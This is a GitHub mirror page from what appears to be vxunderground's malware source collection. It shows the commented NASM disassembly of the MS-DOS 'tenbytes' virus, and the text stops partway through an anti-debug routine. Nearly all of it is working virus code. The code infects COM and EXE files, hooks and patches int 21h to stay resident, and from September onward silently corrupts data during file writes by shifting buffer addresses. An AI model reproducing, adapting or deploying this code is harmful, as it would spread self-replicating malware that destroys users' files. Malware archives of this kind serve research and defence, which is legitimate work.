ch0ic3/MalwareSourceCode
1
0
Fork 0
mirror of https://github.com/vxunderground/MalwareSourceCode.git synced 2024-12-19 01:46:09 +00:00
Code Issues Actions Packages Projects Releases Wiki Activity
74dbd37f30
MalwareSourceCode/MSDOS/Virus.MSDOS.Unknown.tenbytes.asm

826 lines
30 KiB
NASM
Raw Normal View History

Add files via upload
2021-01-13 00:01:59 +00:00
seg_a segment byte public
assume cs:seg_a, ds:seg_a
org 100h
start: mov ax,es ;0100 8C C0
add word ptr cs:[d_010C+2],ax ;segment relocation ;0102 2E: 01 06 010E
jmp dword ptr cs:[d_010C] ;jump into virus code ;0107 2E: FF 2E 010C
d_010C dw 0000,0138h ;dword=entry into virus ;010C 0000 0138
;<- duplicated code (aligning to 20h bytes)
db 0B8h,008h,000h,08Eh,0C0h,08Bh,00Eh,041h ;0110 B8 08 00 8E C0 8B 0E 41
db 003h,0BAh,028h,000h,02Eh,08Bh,01Eh,09Bh ;0118 03 BA 28 00 2E 8B 1E 9B
;..............................................................
; victim code
;..............................................................
org 1380h
;============================================================================
; Segment aligned virus segment begin
;----------------------------------------------------------------------------
;================================================================
; COM virus Entry
; (this code is present only in case *.COM infection)
;----------------------------------------------------------------
l_0000: push ds ;1380 1E
push cs ;1381 0E
pop ds ;1382 1F
lea si,cs:[4F7h] ;d_1877 = saved bytes ;1383 8D 36 04F7
mov di,100h ;1387.BF 0100
mov cx,20h ;138A B9 0020
rep movsb ;restore victim bytes ;138D F3/ A4
mov byte ptr cs:[349h],0FFh ;d_16C9 (0FFh = COM) ;138F 2E: C6 06 0349 FF
nop ;1395 90
pop ds ;1396 1F
lea ax,cs:[54Fh] ;l_18CF ;1397 8D 06 054F
jmp ax ;139B FF E0
;<--- duplicated fields d_033F - d_0347
dw 0020 ;139D 20 00
dw 05EAh ;139F EA 05
dw 0Bh ;13A1 0B 00
dw 28h ;13A3 28 00
dw 200h ;13A5 00 02
db 0 ;13A7 00
;===========================================================================
; Begin of file type independent virus code
;---------------------------------------------------------------------------
;================================================================
; Get/Set victim attribute
;----------------------------------------------------------------
s_13A8 proc near
mov dx,offset ds:[57Fh] ;file name ;13A8.BA 057F
mov ah,43h ;get/set file attrb ;13AB B4 43
int 21h ;13AD CD 21
retn ;13AF C3
s_13A8 endp
;================================================================
; Move file ptr to EOF
;----------------------------------------------------------------
s_13B0 proc near
xor cx,cx ;13B0 33 C9
xor dx,dx ;13B2 33 D2
mov ax,4202h ;move file ptr EOF+offset ;13B4 B8 4202
mov bx,cs:[9Bh] ;l_141B = file handle ;13B7 2E: 8B 1E 009B
int 21h ;13BC CD 21
retn ;13BE C3
s_13B0 endp
;================================================================
; Read 32 bytes into buffer
;----------------------------------------------------------------
s_13BF proc near
mov cx,20h ;13BF B9 0020
mov dx,4F7h ;l_1877-sav victim bytes;13C2.BA 04F7
mov bx,cs:[9Bh] ;l_141B = file handle ;13C5 2E: 8B 1E 009B
mov ah,3Fh ;read file ;13CA B4 3F
int 21h ;13CC CD 21
mov cx,ax ;bytes read ;13CE 8B C8
retn ;13D0 C3
s_13BF endp
;================================================================
; Write 32 B into file
;----------------------------------------------------------------
s_13D1 proc near
mov ax,8 ;switch off destruction ;13D1 B8 0008
mov es,ax ;13D4 8E C0
mov cx,20h ;13D6 B9 0020
mov dx,offset ds:[4F7h] ;l_1877 - saved bytes ;13D9.BA 04F7
mov bx,cs:[9Bh] ;l_141B = file handle ;13DC 2E: 8B 1E 009B
mov ah,40h ;write file cx=bytes ;13E1 B4 40
int 21h ;13E3 CD 21
mov cx,ax ;13E5 8B C8
retn ;13E7 C3
s_13D1 endp
;================================================================
; Calculate virus length
;----------------------------------------------------------------
s_13E8 proc near
mov ax,612h ;virus code length ;13E8 B8 0612
mov dx,28h ;file type depended code;13EB BA 0028
sub ax,dx ;13EE 2B C2
mov ds:[341h],ax ;l_16C1 const vcode len ;13F0 A3 0341
retn ;13F3 C3
s_13E8 endp
;================================================================
; Get/Set file daye & time
;----------------------------------------------------------------
s_13F4 proc near
mov bx,ds:[9Bh] ;l_141B = file handle ;13F4 8B 1E 009B
mov ah,57h ;get/set file date & time ;13F8 B4 57
int 21h ;13FA CD 21
retn ;13FC C3
s_13F4 endp
;================================================================
; Contamine File - master routine
;----------------------------------------------------------------
s_13FD proc near
mov byte ptr ds:[349h],0 ;d_16C9 (000h = EXE) ;13FD C6 06 0349 00
nop ;1402 90
mov al,0 ;1403 B0 00
call s_13A8 ;Get victim attribute ;1405 E8 FFA0
jc l_146A ;-> EXIT ;1408 72 60
mov ds:[33Fh],cx ;l_16BF oryg. file attr ;140A 89 0E 033F
mov cx,20h ;140E B9 0020
mov al,1 ;1411 B0 01
call s_13A8 ;Set victim attribute ;1413 E8 FF92
jc l_146A ;-> EXIT ;1416 72 52
jmp short l_1421 ;1418 EB 07
nop ;141A 90
d_009B dw 0005h ;file handle ;141B 05 00
d_009D dw 0400h ;141D 00 04
d_009F dw 057Fh ;filepath address ;141F 7F 05
l_1421: mov word ptr cs:[9Fh],057Fh ;l_141F := offset l_18FF;1421 2E C7 06 9F 00 7F 05
mov dx,ds:[9Fh] ;l_141F - file name ;1428 8B 16 009F
mov ax,400h ;142C B8 0400
mov ds:[9Dh],ax ;l_141D ;142F A3 009D
mov al,2 ;1432 B0 02
mov ah,3Dh ;open file, al=mode ;1434 B4 3D
int 21h ;1436 CD 21
mov word ptr ds:[9Bh],0FFFFh ;l_141B = file handle ;1438 C7 06 009B FFFF
jc l_1443 ;143E 72 03
mov ds:[9Bh],ax ;l_141B = file handle ;1440 A3 009B
l_1443: mov ax,ds:[9Bh] ;l_141B = file handle ;1443 A1 009B
cmp ax,0FFFFh ;1446 3D FFFF
je l_146A ;-> EXIT, open file err ;1449 74 1F
mov al,0 ;144B B0 00
call s_13F4 ;Get file daye & time ;144D E8 FFA4
jc l_148F ;-> err, close & exit ;1450 72 3D
mov ds:[0E8h],dx ;l_1468 = date ;1452 89 16 00E8
mov ds:[0EDh],cx ;l_146D = time ;1456 89 0E 00ED
call s_13BF ;Read 32 B into buffer ;145A E8 FF62
mov ax,word ptr ds:[4F7h] ;l_1877 first file word ;145D A1 04F7
cmp ax,5A4Dh ;'MZ' ? ;1460 3D 5A4D
je l_146F ;-> yes, EXE ;1463 74 0A
jmp l_1616 ;-> no, COM ;1465 E9 01AE
d_00E8 dw 0EF8h ;victim date ;1468 F8 0E
l_146A: jmp l_15C6 ;146A E9 0159
d_00ED dw 0001h ;victim time ;146D 01 00
;================================================================
; EXE file contamination
;----------------------------------------------------------------
l_146F: mov ax,word ptr ds:[509h] ;+12h = negative sum ;146F A1 0509
neg ax ;1472 F7 D8
cmp ax,word ptr ds:[4F9h] ;+2 = last page bytes ;1474 3B 06 04F9
je l_148F ;-> allready infected ;1478 74 15
mov ax,word ptr ds:[4FBh] ;+4 = pages in file ;147A A1 04FB
cmp ax,3 ;147D 3D 0003
jb l_148F ;-> file to small ;1480 72 0D
mov ax,word ptr ds:[4FFh] ;+8 = size of hdr (para);1482 A1 04FF
mov cl,4 ;1485 B1 04
shl ax,cl ;1487 D3 E0
mov ds:[347h],ax ;l_16C7 = size of header;1489 A3 0347
jmp short l_1492 ;148C EB 04
nop ;148E 90
l_148F: jmp l_15A8 ;148F E9 0116
l_1492: mov ax,word ptr ds:[50Bh] ;+14h = IP ;1492 A1 050B
mov word ptr ds:[5B4h],ax ;l_1934 ;1495 A3 05B4
mov word ptr ds:[50Bh],28h ;new IP value (l_13A8) ;1498 C7 06 050B 0028
call s_13B0 ;Move file ptr to EOF ;149E E8 FF0F
push ax ;14A1 50
push dx ;14A2 52
sub ax,ds:[347h] ;l_16C7=size of header ;14A3 2B 06 0347
sbb dx,0 ;14A7 83 DA 00
mov word ptr ds:[439h],ax ;l_17B9 ;14AA A3 0439
mov word ptr ds:[437h],dx ;l_17B7 ;14AD 89 16 0437
cmp dx,0 ;14B1 83 FA 00
ja l_14D3 ;-> more then 64KB ;14B4 77 1D
cmp ax,word ptr ds:[50Bh] ;+14h = IP ;14B6 3B 06 050B
ja l_14D3 ;-> more then 28h length;14BA 77 17
;<- EXE code length =< 28h
mov word ptr ds:[345h],0 ;l_16C5 ;14BC C7 06 0345 0000
mov bx,word ptr ds:[50Bh] ;14C2 8B 1E 050B
sub bx,ax ;28h - file length ;14C6 2B D8
mov ds:[343h],bx ;l_16C3 - aligning bytes;14C8 89 1E 0343
mov ds:[513h],bx ;+1Ch = ? ;14CC 89 1E 0513
jmp short l_1511 ;14D0 EB 3F
nop ;14D2 90
l_14D3: sub ax,word ptr ds:[50Bh] ;+14h = IP=28h ;14D3 2B 06 050B
sbb dx,0 ;14D7 83 DA 00
mov ds:[345h],ax ;d_16C5 ;14DA A3 0345
and ax,0Fh ;14DD 25 000F
cmp ax,0 ;14E0 3D 0000
jne l_14F9 ;-> need aligment ;14E3 75 14
mov word ptr ds:[343h],0 ;d_16C3 - aligning bytes;14E5 C7 06 0343 0000
mov ax,ds:[345h] ;d_16C5 ;14EB A1 0345
mov cx,10h ;14EE B9 0010
div cx ;14F1 F7 F1
mov ds:[345h],ax ;d_16C5 - segment of vir;14F3 A3 0345
jmp short l_1511 ;14F6 EB 19
db 90h ;14F8 90
;<---- need alignment
l_14F9: mov word ptr ds:[343h],10h ;d_16C3 - aligning bytes;14F9 C7 06 0343 0010
sub ds:[343h],ax ;d_16C3 - aligning bytes;14FF 29 06 0343
mov ax,ds:[345h] ;d_16C5 ;1503 A1 0345
mov cx,10h ;1506 B9 0010
div cx ;1509 F7 F1
add ax,1 ;+ alignment paragraph ;150B 05 0001
mov ds:[345h],ax ;d_16C5 - segment of vir;150E A3 0345
l_1511: mov ax,word ptr ds:[50Dh] ;+ 16h = CS ;1511 A1 050D
mov word ptr ds:[5B6h],ax ;d_1936 - victim CS ;1514 A3 05B6
mov ax,ds:[345h] ;d_16C5 ;1517 A1 0345
mov word ptr ds:[50Dh],ax ;+ 16h = CS ;151A A3 050D
push ax ;151D 50
mov ax,word ptr ds:[505h] ;+ 0Eh = SS ;151E A1 0505
mov word ptr ds:[5A1h],ax ;d_1921 - victim SS ;1521 A3 05A1
pop ax ;1524 58
mov word ptr ds:[505h],ax ;+ 0Eh = virus SS ;1525 A3 0505
mov ax,word ptr ds:[507h] ;+ 10h = SP ;1528 A1 0507
mov word ptr ds:[5A3h],ax ;d_1923 victim SP ;152B A3 05A3
lea ax,cs:[612h] ;End of virus ;152E 8D 06 0612
add ax,1Eh ;virus stack ;1532 05 001E
add ax,ds:[343h] ;d_16C3 - aligning bytes;1535 03 06 0343
mov word ptr ds:[507h],ax ;virus SP ;1539 A3 0507
call s_13E8 ;Calculate virus length ;153C E8 FEA9
pop dx ;<- victim EOF ;153F 5A
pop ax ;1540 58
add ax,ds:[341h] ;l_16C1 const vcode len ;1541 03 06 0341
adc dx,0 ;1545 83 D2 00
add ax,ds:[343h] ;d_16C3 - aligning bytes;1548 03 06 0343
adc dx,0 ;154C 83 D2 00
mov cx,200h ;page length ;154F B9 0200
div cx ;1552 F7 F1
cmp dx,0 ;1554 83 FA 00
je l_155A ;1557 74 01
inc ax ;1559 40
l_155A: mov word ptr ds:[4FBh],ax ;+4 - file len in pages ;155A A3 04FB
mov word ptr ds:[4F9h],dx ;+2 - last page length ;155D 89 16 04F9
neg dx ;1561 F7 DA
mov word ptr ds:[509h],dx ;+12h = negative sum ;1563 89 16 0509
mov cx,54Fh ;offset l_18CF-EXE entry;1567 B9 054F
mov word ptr ds:[50Bh],cx ;+14h - virus IP ;156A 89 0E 050B
cmp word ptr ds:[343h],3 ;d_16C3 - aligning bytes;156E 83 3E 0343 03
jb l_1580 ;1573 72 0B
;<- file begins with jump
mov cx,28h ;1575 B9 0028
sub cx,ds:[343h] ;d_16C3 - aligning bytes;1578 2B 0E 0343
mov word ptr ds:[50Bh],cx ;157C 89 0E 050B
l_1580: call s_15DF ;Set file pointer to BOF;1580 E8 005C
call s_13D1 ;Write 32 B into file ;1583 E8 FE4B
jc l_15A8 ;-> error, EXIT ;1586 72 20
mov cx,ds:[343h] ;d_16C3 - aligning bytes;1588 8B 0E 0343
sub cx,3 ;jmp instruction length ;158C 83 E9 03
mov ax,54Fh ;offset l_18CF=EXE entry;158F B8 054F
mov bx,28h ;beginning of code ;1592 BB 0028
sub ax,bx ;jmp distance ;1595 2B C3
add cx,ax ;aligning bytes ;1597 03 C8
mov word ptr ds:[54Ch],cx ;l_18CC = jump distance ;1599 89 0E 054C
call s_13B0 ;Move file ptr to EOF ;159D E8 FE10
call s_15C7 ;Align EOF to paragraphs;15A0 E8 0024
jc l_15A8 ;-> error, EXIT ;15A3 72 03
call s_15FE ;Write const part of vir;15A5 E8 0056
;================================================================
; End of contamination (common to EXE & COM)
;----------------------------------------------------------------
l_15A8: mov al,1 ;to set ;15A8 B0 01
mov dx,ds:ds:[0E8h] ;d_1468 victim date ;15AA 8B 16 00E8
mov cx,ds:ds:[0EDh] ;d_146D victim time ;15AE 8B 0E 00ED
call s_13F4 ;Set file daye & time ;15B2 E8 FE3F
mov bx,ds:[9Bh] ;l_141B = file handle ;15B5 8B 1E 009B
mov ah,3Eh ;close file ;15B9 B4 3E
int 21h ;15BB CD 21
mov al,1 ;to set ;15BD B0 01
mov cx,ds:[33Fh] ;l_16BF oryg. file attr ;15BF 8B 0E 033F
call s_13A8 ;Set victim attribute ;15C3 E8 FDE2
l_15C6: retn ;15C6 C3
;================================================================
; Align end of file to paragraphs
;----------------------------------------------------------------
s_15C7: mov ax,8 ;to switch off virus ;15C7 B8 0008
mov es,ax ;15CA 8E C0
mov cx,ds:[343h] ;l_16C3 - aligning bytes;15CC 8B 0E 0343
mov dx,54Bh ;offset d_18CB ;15D0.BA 054B
mov bx,cs:[9Bh] ;l_141B = file handle ;15D3 2E: 8B 1E 009B
mov ah,40h ;write file ;15D8 B4 40
int 21h ;15DA CD 21
mov cx,ax ;15DC 8B C8
retn ;15DE C3
;================================================================
; Set file pointer to BOF
;----------------------------------------------------------------
s_15DF: xor cx,cx ;15DF 33 C9
xor dx,dx ;15E1 33 D2
mov ax,4200h ;move file ptr, cx,dx=offset ;15E3 B8 4200
mov bx,cs:[9Bh] ;l_141B = file handle ;15E6 2E: 8B 1E 009B
int 21h ;15EB CD 21
retn ;15ED C3
;================================================================
; COM virus start code pattern
;----------------------------------------------------------------
d_026E: mov ax,es ;15EE 8C C0
add word ptr cs:[010Ch+2],ax ;15F0 2E: 01 06 010E
jmp dword ptr cs:[010Ch] ;15F5 2E: FF 2E 010C
d_027A dw 0 ;15FA 00 00
d_027C dw 0138h ;15FC 38 01
;================================================================
; Write constant part of virus
;----------------------------------------------------------------
s_15FE: mov ax,8 ;switch off virus ;15FE B8 0008
mov es,ax ;1601 8E C0
mov cx,ds:[341h] ;l_16C1 const.code leng.;1603 8B 0E 0341
mov dx,28h ;offset l_13A8 - vircode;1607.BA 0028
mov bx,cs:[9Bh] ;l_141B = file handle ;160A 2E: 8B 1E 009B
mov ah,40h ;write file ;160F B4 40
int 21h ;1611 CD 21
mov cx,ax ;1613 8B C8
retn ;1615 C3
;================================================================
; COM victim contamination
;----------------------------------------------------------------
l_1616: cmp word ptr ds:[4F9h],12Eh ;BOF+2 ;1616 81 3E 04F9 012E
je l_15A8 ;-> contamined, EXIT ;161C 74 8A
call s_13B0 ;Move file ptr to EOF ;161E E8 FD8F
cmp ax,3E8h ;1000 byte file length ;1621 3D 03E8
jb l_169F ;-> bellow, EXIT ;1624 72 79
add ax,100h ;add PSP ;1626 05 0100
adc dx,0 ;1629 83 D2 00
push ax ;162C 50
and ax,0Fh ;162D 25 000F
mov word ptr ds:[343h],0 ;l_16C3 aligning bytes ;1630 C7 06 0343 0000
cmp ax,0 ;1636 3D 0000
je l_1645 ;-> para aligned file ;1639 74 0A
mov word ptr ds:[343h],10h ;l_16C3 - aligning bytes;163B C7 06 0343 0010
sub ds:[343h],ax ;l_16C3 - aligning bytes;1641 29 06 0343
l_1645: pop ax ;1645 58
add ax,ds:[343h] ;l_16C3 aligning bytes ;1646 03 06 0343
adc dx,0 ;164A 83 D2 00
cmp dx,0 ;164D 83 FA 00
ja l_169F ;-> file to big, EXIT ;1650 77 4D
mov cl,4 ;1652 B1 04
shr ax,cl ;bytes 2 paragraphs ;1654 D3 E8
cmp word ptr ds:[343h],0 ;l_16C3 - aligning bytes;1656 83 3E 0343 00
mov ds:[27Ch],ax ;l_15FC virus segment ;165B A3 027C
mov word ptr ds:[27Ah],0 ;l_15FA virus entry ;165E C7 06 027A 0000
call s_15DF ;Set file pointer to BOF;1664 E8 FF78
mov ax,8 ;to switch off virus ;1667 B8 0008
mov es,ax ;166A 8E C0
mov cx,20h ;bytes to write ;166C B9 0020
mov dx,26Eh ;offset l_15EE ;166F.BA 026E
mov bx,cs:[9Bh] ;l_141B = file handle ;1672 2E: 8B 1E 009B
mov ah,40h ;write file ;1677 B4 40
int 21h ;1679 CD 21
mov cx,ax ;bytes written ;167B 8B C8
call s_13B0 ;Move file ptr to EOF ;167D E8 FD30
call s_15C7 ;write aligning bytes ;1680 E8 FF44
mov ax,8 ;switch off virus ;1683 B8 0008
mov es,ax ;1686 8E C0
mov cx,28h ;40 bytes ;1688 B9 0028
mov dx,322h ;offset l_16A2 ;168B .BA 0322
mov bx,cs:[9Bh] ;l_141B = file handle ;168E 2E: 8B 1E 009B
mov ah,40h ;write file ;1693 B4 40
int 21h ;1695 CD 21
mov cx,ax ;bytes written ;1697 8B C8
call s_13E8 ;Calculate virus length ;1699 E8 FD4C
call s_15FE ;Write const part of vir;169C E8 FF5F
l_169F: jmp l_15A8 ;close files, EXIT ;169F E9 FF06
s_13FD endp
;<-- COM type virus begin pattern
d_0322: push ds ;16A2 1E
push cs ;16A3 0E
pop ds ;16A4 1F
lea si,cs:[4F7h] ;16A5 8D 36 04F7
mov di,0100h ;16A9.BF 0100
mov cx,20h ;16AC B9 0020
rep movsb ;16AF F3/ A4
mov byte ptr cs:[349h],0FFh ;d_16C9 (0FFh = COM) ;16B1 2E: C6 06 0349 FF
nop ;16B7 90
pop ds ;16B8 1F
lea ax,cs:[54Fh] ;16B9 8D 06 054F
jmp ax ;16BD FF E0
;------ work area
d_033F dw 0020h ;oryg. file attr ;16BF 20 00
d_0341 dw 05EAh ;const virus code length;16C1 EA 05
d_0343 dw 0Bh ;aligning bytes ;16C3 0B 00
d_0345 dw 28h ;16C5 28 00
d_0347 dw 200h ;size of header ;16C7 00 02
d_0349 db 0 ;0=EXE, 0FFh=COM ;16C9 00
;================================================================
; init registers
;----------------------------------------------------------------
s_16CA proc near
xor si,si ;16CA 33 F6
xor di,di ;16CC 33 FF
xor ax,ax ;16CE 33 C0
xor dx,dx ;16D0 33 D2
xor bp,bp ;16D2 33 ED
retn ;16D4 C3
s_16CA endp
;================================================================
; int 24h handling routine (infection time active only)
;----------------------------------------------------------------
l_16D5: cmp di,0 ;16D5 83 FF 00
jne l_16DD ;16D8 75 03
mov al,3 ;ignore ;16DA B0 03
iret ;16DC CF
l_16DD: jmp dword ptr cs:[362h] ;L_16E2 = old int 24h ;16DD 2E: FF 2E 0362
d_0362 dw 0556h,0DF0h ;16E2 56 05 F0 0D
;================================================================
; Get int 24h
;----------------------------------------------------------------
s_16E6 proc near
cli ; Disable interrupts ;16E6 FA
xor bx,bx ;16E7 33 DB
mov es,bx ;16E9 8E C3
mov bx,es:[90h] ;int 24h offset ;16EB 26: 8B 1E 0090
mov word ptr cs:[362h],bx ;l_16E2 ;16F0 2E: 89 1E 0362
mov bx,es:[92h] ;int 24h segment ;16F5 26: 8B 1E 0092
mov word ptr cs:[362h+2],bx ;L_16E2+2 ;16FA 2E: 89 1E 0364
mov word ptr es:[90h],355h ;offset l_16D5 ;16FF 26: C7 06 0090 0355
mov es:[92h],ax ;int 24h segment := CS ;1706 26: A3 0092
sti ;170A FB
retn ;170B C3
s_16E6 endp
;================================================================
; Restore int 24h vector
;----------------------------------------------------------------
s_170C proc near
cli ;170C FA
xor bx,bx ;170D 33 DB
mov es,bx ;170F 8E C3
mov bx,word ptr cs:[362h] ;1711 2E: 8B 1E 0362
mov es:[90h],bx ;1716 26: 89 1E 0090
mov bx,word ptr cs:[362h+2] ;171B 2E: 8B 1E 0364
mov es:[92h],bx ;1720 26: 89 1E 0092
sti ;1725 FB
retn ;1726 C3
s_170C endp
;===============================================================
; write handle service routine (destruction routine)
;---------------------------------------------------------------
s_1727 proc near
push ax ;1727 50
push bx ;1728 53
push cx ;1729 51
push dx ;172A 52
push es ;172B 06
push ds ;172C 1E
push si ;172D 56
push di ;172E 57
mov ax,es ;172F 8C C0
cmp ax,8 ;1731 3D 0008
je l_1750 ;-> virus contamination ;1734 74 1A
cmp bx,4 ;1736 83 FB 04
jb l_1750 ;-> BIOS ;1739 72 15
mov ah,2Ah ;get date, cx=year, dx=mon/day ;173B B4 2A
int 21h ;173D CD 21
cmp dh,9 ;september ? ;173F 80 FE 09
jb l_1750 ;-> bellow ;1742 72 0C
pop di ;1744 5F
pop si ;1745 5E
pop ds ;1746 1F
pop es ;1747 07
pop dx ;1748 5A
pop cx ;1749 59
pop bx ;174A 5B
pop ax ;174B 58
add dx,0Ah ;shift buffer address ;174C 83 C2 0A
retn ;174F C3
l_1750: pop di ;1750 5F
pop si ;1751 5E
pop ds ;1752 1F
pop es ;1753 07
pop dx ;1754 5A
pop cx ;1755 59
pop bx ;1756 5B
pop ax ;1757 58
retn ;1758 C3
s_1727 endp
db 16 dup (0) ;not used ;1759 0010[00]
;================================================================
; Load & Execute service routine
;----------------------------------------------------------------
s_1769 proc near
push ax ;1769 50
push bx ;176A 53
push cx ;176B 51
push dx ;176C 52
push es ;176D 06
push ds ;176E 1E
push si ;176F 56
push di ;1770 57
mov si,dx ;file pathname ;1771 8B F2
mov ax,cs ;1773 8C C8
mov es,ax ;1775 8E C0
mov di,offset ds:[57Fh] ;l_18FF - victim name ;1777.BF 057F
mov cx,19h ;177A B9 0019
rep movsb ;copy victim name ;177D F3/ A4
call s_16E6 ;Get int 24h vector ;177F E8 FF64
mov ds,ax ;ds:=cs ;1782 8E D8
call s_13FD ;1784 E8 FC76
call s_170C ;Restore int 24h vector ;1787 E8 FF82
pop di ;178A 5F
pop si ;178B 5E
pop ds ;178C 1F
pop es ;178D 07
pop dx ;178E 5A
pop cx ;178F 59
pop bx ;1790 5B
pop ax ;1791 58
retn ;1792 C3
s_1769 endp
;================================================================
; New int 21h service routine
;----------------------------------------------------------------
;<---- 10 bytes to identify resident virus
d_0413: pushf ;1793 9C
cmp ah,40h ;write handle ? ;1794 80 FC 40
jne l_179F ;-> no ;1797 75 06
call s_1727 ;write handle service routine ;1799 E8 FF8B
jmp short l_17A7 ;179C EB 09
nop ;179E 90
l_179F: cmp ah,4Bh ;Load & Execute ? ;179F 80 FC 4B
jne l_17A7 ;-> no ;17A2 75 03
call s_1769 ;Load & Execute service routine ;17A4 E8 FFC2
l_17A7: popf ;17A7 9D
;================================================================
; Execute substituted code and jump into old int 21h service
;----------------------------------------------------------------
;<- four bytes from int 21h service
d_0428: cmp ah,51h ;17A8 80 FC 51
d_042B: je l_17B2 ;17AB 74 05
jmp dword ptr cs:[547h] ;17AD 2E: FF 2E 0547
l_17B2: jmp dword ptr cs:[49Dh] ;17B2 2E: FF 2E 049D
d_0437 dw 0000h,02A0h ;dword = code length ;17B7 00 00 A0 02
;================================================================
; Make virus resident
;----------------------------------------------------------------
s_17BB proc near
cli ;disable interrupts ;17BB FA
push es ;17BC 06
lea si,cs:[413h] ;l_1793 ;17BD 8D 36 0413
mov di,si ;17C1 8B FE
mov cx,9800h ;resident virus segment ;17C3 B9 9800
mov es,cx ;17C6 8E C1
mov cx,0Ah ;17C8 B9 000A
repe cmpsb ;17CB F3/ A6
cmp cx,0 ;17CD 83 F9 00
pop es ;17D0 07
jz l_181A ;-> allready resident ;17D1 74 47
mov bx,es:[84h] ;int 21h - offset ;17D3 26: 8B 1E 0084
mov ax,es:[86h] ;int 21h - segment ;17D8 26: A1 0086
mov word ptr ds:[549h],ax ;l_18C9 ;17DC A3 0549
mov word ptr ds:[49Fh],ax ;l_181F ;17DF A3 049F
mov di,bx ;17E2 8B FB
mov es,ax ;17E4 8E C0
mov cx,80h ;17E6 B9 0080
mov al,80h ;17E9 B0 80
l_17EB: repne scasb ;find byte 80h ;17EB F2/ AE
cmp cx,0 ;17ED 83 F9 00
je l_1870 ;-> not found, EXIT ;17F0 74 7E
cmp byte ptr es:[di],0FCh ;17F2 26: 80 3D FC
jne l_17EB ;-> find another place ;17F6 75 F3
;<- get four bytes from int 21h service
mov al,es:[di+2] ;17F8 26: 8A 45 02
mov byte ptr cs:[42Bh],al ;l_17AB ;17FC 2E: A2 042B
mov al,es:[di-1] ;1800 26: 8A 45 FF
mov byte ptr cs:[428h],al ;l_17A8 ;1804 2E: A2 0428
mov al,es:[di] ;1808 26: 8A 05
mov byte ptr cs:[429h],al ;l_17A8+1 ;180B 2E: A2 0429
mov al,es:[di+1] ;180F 26: 8A 45 01
mov byte ptr cs:[42Ah],al ;l_17A8+2 ;1813 2E: A2 042A
jmp short l_1821 ;1817 EB 08
nop ;1819 90
;<- allready resident
l_181A: jmp short l_1870 ;-> EXIT ;181A EB 54
nop ;181C 90
d_049D dw 140Dh ;address to jump1 into ;181D 0D 14
d_049F dw 0278h ;old int 21h segment ;181F 78 02
l_1821: mov ax,di ;1821 8B C7
add ax,4 ;next to conditional jmp;1823 05 0004
xor bx,bx ;1826 33 DB
mov bl,es:[di+3] ;jump length ;1828 26: 8A 5D 03
add ax,bx ;jump address ;182C 03 C3
mov word ptr ds:[49Dh],ax ;l_181D ;182E A3 049D
cmp byte ptr es:[di+3],80h ;1831 26: 80 7D 03 80
jb l_183E ;-> forward jump ;1836 72 06
;<- jump backwards
sub ax,100h ;minus carry ;1838 2D 0100
mov word ptr ds:[49Dh],ax ;l_181D ;183B A3 049D
l_183E: add di,4 ;second condition addrs ;183E 83 C7 04
mov word ptr ds:[547h],di ;1841 89 3E 0547
sub di,5 ;<- area to substitute ;1845 83 EF 05
push es ;1848 06
push di ;1849 57
mov dx,9800h ;resident virus segment ;184A BA 9800
mov word ptr cs:[4F5h],dx ;184D 2E: 89 16 04F5
mov es,dx ;1852 8E C2
xor si,si ;1854 33 F6
xor di,di ;1856 33 FF
mov cx,612h ;l_1380 -> l_1992 ;1858 B9 0612
rep movsb ;copy virus code ;185B F3/ A4
;<----- take control over int 21h
lea cx,cs:[413h] ;offset l_1793 ;185D 8D 0E 0413
mov word ptr ds:[4F3h],cx ;1861 89 0E 04F3
pop di ;1865 5F
pop es ;1866 07
mov cx,5 ;1867 B9 0005
lea si,cs:[4F2h] ;offset l_1792 ;186A 8D 36 04F2
rep movsb ;186E F3/ A4
l_1870: sti ;1870 FB
retn ;1871 C3
s_17BB endp
;<---- instruction pattern to write over int 21h code
d_04F2 db 0EAh ;JMP FAR 9800:l_1793 ;1872 EA
d_04F3 dw 0 ;:= offset l_1793 ;1873 00 00
d_04F5 dw 9800h ;resident virus segment ;1875 00 98
;================================================
; saved 32 victim bytes
;------------------------------------------------
d_04F7 db 0E9h,0FFh,11h ;1877 E9 FF 11
db 'Converted',0,0,0,0 ;187A 43 6F 6E 76 65 72
;1880 74 65 64 00 00 00 00
db 'MZ' ;1887 4D 5A
db 0EAh,01h,09h,00h,08h,00h ;1889 EA 01 09 00 08 00
db 20h,00h,00h,00h,0FFh,0FFh ;188F 20 00 00 00 FF FF
db 98h,00h ;1895 98 00 00
;-----------------------------------
db 48 dup (0) ;not used ;1897 0030[00]
d_0547 dw 146Ch ;address to jump2 into ;18C7 6C 14
d_0549 dw 0278h ;old int 21h segment ;18C9 78 02
;<------ code writed to in case of paragraf alignement
db 0E9h ;jmp l_18CF ;18CB E9
d_054C dw 052Ch ;distance of jump ;18CC 2C 05
db 0 ;18CE 00
;================================================================
; EXE virus entry
;----------------------------------------------------------------
l_18CF: push bx ;18CF 53
push cx ;18D0 51
push es ;18D1 06
push ds ;18D2 1E
pushf ;18D3 9C
mov ax,cs ;18D4 8C C8
mov ds,ax ;18D6 8E D8
call s_1938 ;make virus resident ;18D8 E8 005D
cmp byte ptr ds:[349h],0FFh ;l_16C9 (0FFh=COM) ;18DB 80 3E 0349 FF
je l_18E5 ;18E0 74 03
jmp short l_1953 ;-> ? ;18E2 EB 6F
nop ;18E4 90
;================================================================
; End of virus code - file *.COM
;----------------------------------------------------------------
l_18E5: popf ;18E5 9D
pop ds ;18E6 1F
pop es ;18E7 07
pop cx ;18E8 59
pop bx ;18E9 5B
mov word ptr cs:[5B4h],100h ;l_1934 = victim IP ;18EA 2E: C7 06 05B4 0100
mov ax,es ;18F1 8C C0
mov word ptr cs:[5B6h],ax ;l_1936 = victim CS ;18F3 2E: A3 05B6
call s_16CA ;init registers ;18F7 E8 FDD0
jmp dword ptr cs:[5B4h] ;l_1934 -> run victim ;18FA 2E: FF 2E 05B4
;<--- victim name
d_057F db 'A:\SYS.COM' ;18FF 41 3A 5C 53 59 53
;1905 2E 43 4F 4D
db 0,'XE',0,'E',0 ;1909 00 58 45 00 45 00
db 9 dup (0) ;190F 0009[00]
;================================================================
; ANTYDEBUG - make virus resident
;----------------------------------------------------------------
s_1918 proc near
cmp ax,3000h ;1918 3D 3000
jne l_1925 ;-> int 3 ;191B 75 08
call s_17BB ;-> make virus resident ;191D E8 FE9B
retn ;1920 C3
s_1918 endp
d_05A1 dw 002Ah ;victim SS (rel) ;1921 2A 00
d_05A3 dw 1388h ;victim SP ;1923 88 13
;================================================================
; ANTYDEBUG - call int 3 (Breakpoint)
;----------------------------------------------------------------
s_1925 proc near
l_1925: mov ax,3000h ;Flag register ;1925 B8 3000
